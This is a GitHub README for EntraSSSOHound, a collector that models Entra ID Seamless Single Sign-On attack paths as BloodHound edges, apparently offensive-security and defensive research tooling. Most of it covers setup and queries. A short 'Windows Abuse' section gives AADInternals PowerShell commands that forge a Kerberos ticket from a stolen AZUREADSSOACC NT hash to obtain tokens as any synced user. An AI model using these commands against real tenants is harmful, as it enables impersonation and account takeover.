Skip to content

SpecterOps/EntraSSSOHound

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

15 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

EntraSSSOHound: A small collector to model Seamless Single Sign On in BloodHound

Applies to BloodHound Enterprise and CE

Python 3 Apache 2.0 License

Table of Contents

Overview

Entra ID Seamless Single Sign-On (Seamless SSO) is a feature that non-interactively signs users into cloud applications whenever they are connected to Active Directory. EntraSSSOHound extends BloodHound CE with OpenGraph-format coverage, modeling how Active Directory computers can compromise synced Entra ID users through the trust established between the trusted on-premises computer and Entra ID.

SSSO Overview

Entra ID Seamless Single Sign-On (Seamless SSO) is a feature that automatically signs users into both on-premises and cloud-based applications when they are connected to the corporate network. It works by leveraging the user’s Active Directory domain credentials without requiring them to re-enter their username and password. When a domain-joined computer communicates with Entra ID, Seamless SSO uses a Kerberos ticket from the on-premises Active Directory to authenticate the user transparently. This reduces friction for end users while still ensuring secure authentication across hybrid environments.

From an administrative perspective, Seamless SSO is lightweight to deploy and does not require additional on-premises infrastructure beyond what is typically needed for Entra Connect. It can be enabled through Entra Connect with just a few configuration steps, and once active, it automatically applies to all users in the tenant. Organizations benefit from improved user experience, fewer password prompts, and stronger security, since users are less likely to resort to insecure password practices. It is especially effective in hybrid identity setups where companies maintain both on-premises and cloud resources, ensuring consistent access while reducing IT support overhead for login-related issues.

It works by creating a new service account (AZUREADSSOACC) in Active Directory that represents the secure token service in Entra ID. If there are multiple AD forests, each computer account will have its own unique Kerberos decryption key. The password for the service account is synced to Entra ID, and the user will exchange a service ticket for a DesktopSingleSignOn cookie that can be used to obtain an access token for the user.

Collected data

The provider collector simply checks if Seamless Single Sign On is enabled by getting data from an undocumented API at "https://<tenant_id>.registration.msappproxy.net/register/GetDesktopSsoStatus. The data returned indicates which domains are configured for Seamless Single Sign On. This data is then used in conjunction with BloodHound graph queries to generate new edges.

Nodes and Edges

graph LR
    d1(Domain) -- Contains --> u1(User)
    d1 -- Contains --> c1(Computer)
    u1 -- SyncedToEntraUser --> azu1(AZUser)
    azt(AZTenant) -- AZContains --> azu1
    c1 == DesktopSSOIdentityTransform ==> azu1
Loading

Example Environment

graph LR
  %% Nodes
  n0["fabrikam.com<br/>(Domain)"]
  n1["contoso.com<br/>(Domain)"]
  n2["user1<br/>(User)"]
  n3["[email protected]<br/>(AZUser)"]
  n4["user2<br/>(User)"]
  n5["[email protected]<br/>(AZUser)"]
  n6["[email protected]<br/>(AZUser)"]
  n7["user1<br/>(User)"]
  n8["[email protected]<br/>(AZUser)"]
  n9["AZUREADSSOACC<br/>(Computer)<br/>spn: HTTP/autologon.microsoftazuread-sso.com"]
  n10["conglom.onmicrosoft.com<br/>(AZTenant)<br/>SSOEnabled=True<br/>SSOExists=True<br/>SSODomains=fabrikam.com"]

  %% Edges (order preserved from input)
  n0 -->|Contains| n2
  n2 -->|SyncedToEntraUser| n3
  n0 -->|Contains| n4
  n4 -->|SyncedToEntraUser| n5
  n1 -->|Contains| n7
  n7 -->|SyncedToEntraUser| n6
  n0 -->|Contains| n9
  n10 -->|AZContains| n5
  n10 -->|AZContains| n3
  n10 -->|AZContains| n6
  n10 -->|AZContains| n8
  n9 -->|DesktopSSOIdentityTransform| n3
  n9 -->|DesktopSSOIdentityTransform| n5
  n9 -->|DesktopSSOIdentityTransform| n6

Loading

DesktopSSOIdentityTransform Edge

This node represents the ability for a computer account to forge a kerberos service ticket to authenticate as the target Entra ID user.

Property Value
Start node type Computer
End node type AZUser
Transitive Yes

Creation Logic

There are four requirements for SSSO edges to exist:

  1. The source node must have a servicePrincipalName of
        HTTP/autologon.microsoftazuread-sso.com
  1. The source node must be enabled

  2. The AZTenant properties are the following:

    (Enable: True) AND

    (Exists: True) AND

    Domains: At least one domain

  3. The destination node must have an onPremisesSid property set. This can be inferred with the existence of a “SyncedToADUser” edge, or we can collect and set the property. The current collector checks for the existence of onPremId

Note

The logic for the DesktopSSOIdentityTransform edge implies that a compromised AZUREADSSOACC can compromise ANY synced user. This is correct as it doesn't matter which domain the synced user belongs to.

Usage

Setup

Create a new virtual environment

python3 -m venv .venv
source .venv/bin/activate

Install requirements

pip install -r requirements.txt

Copy the .env.example file to .env

cp .env.example .env

Generate an API key for a BH user and save the values in the appropriate variables in the .env file

BH_URL = "PATH TO YOUR BH INSTANCE"
TOKEN_ID = "ID OF TOKEN FROM THE PREVIOUS STEP"
TOKEN_KEY = "KEY FROM PREVIOUS STEP"

You need to obtain a token for the registration endpoint which can be done with the following command. You can use whatever took you want but the resource server must be https://proxy.cloudwebappproxy.net/registerapp and the client must be "cb1056e2-e479-49de-ae31-7812af012ed8".

roadtx auth -c cb1056e2-e479-49de-ae31-7812af012ed8 -r https://proxy.cloudwebappproxy.net/registerapp -u [email protected] --tokens-stdout | jq '.accessToken'

Here is an example of the claims in the access token:

{
  ...
  "aud": "https://proxy.cloudwebappproxy.net/registerapp",
  "acr": "1",
  "amr": [
    "pwd"
  ],
  "appid": "cb1056e2-e479-49de-ae31-7812af012ed8",
  "appidacr": "0",
  "idtyp": "user",
  "scp": "user_impersonation",
  ...
}

Set the token in the .env file

MSAPPPROXY_TOKEN = "eyJY0...."

Set the output file to the desired filename.

Option A: Run the collector with automatic upload

./collect.py --upload

Option B: Run the collector and manually upload the file:

./collect.py

Once finished, upload the resulting JSON in the BHE admin panel

Verify

To verify the collector worked, run the following query in the Cypher query panel in BloodHound:

MATCH p=(:Computer) - [:DesktopSSOIdentityTransform] -> (:AZUser)
RETURN p

Useful queries

Cross Domain User Auth via SSSO

Get all of the cross domain accounts that can be abused from a compromised AzureADSSOAcc computer

MATCH p=(c:Computer) - [:DesktopSSOIdentityTransform] -> (:AZUser) - [:SyncedToADUser] -> (a:User)
WHERE c.domain <> a.domain
RETURN p

Windows Abuse

This step assumes that the NT hash of the AzureADSSO account has already been obtained. In this example, a token is acquired for Microsoft Graph, but any resource server will work as long as the application is supported.

Import-Module AADInternals
$ticket = New-AADIntKerberosTicket -SidString <SID OF TARGET USER> -Hash <NT HASH OF COMPUTER ACCOUNT>
$accessToken = Get-AADIntAccessTokenForMSGraph -KerberosTicket $ticket -Domain <DOMAIN OF COMPUTER ACCOUNT>

Known Issues

This edge does not take conditional access into account. An Entra ID user may still be subject to other conditions being met (such as multi-factor authentication) before the AzureADSSOAcc can obtain a token for a synced user.

References

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

https://aadinternals.com/post/on-prem_admin/

https://trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud

About

A small collector to model out abusable Seamless Single Sign On edges

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages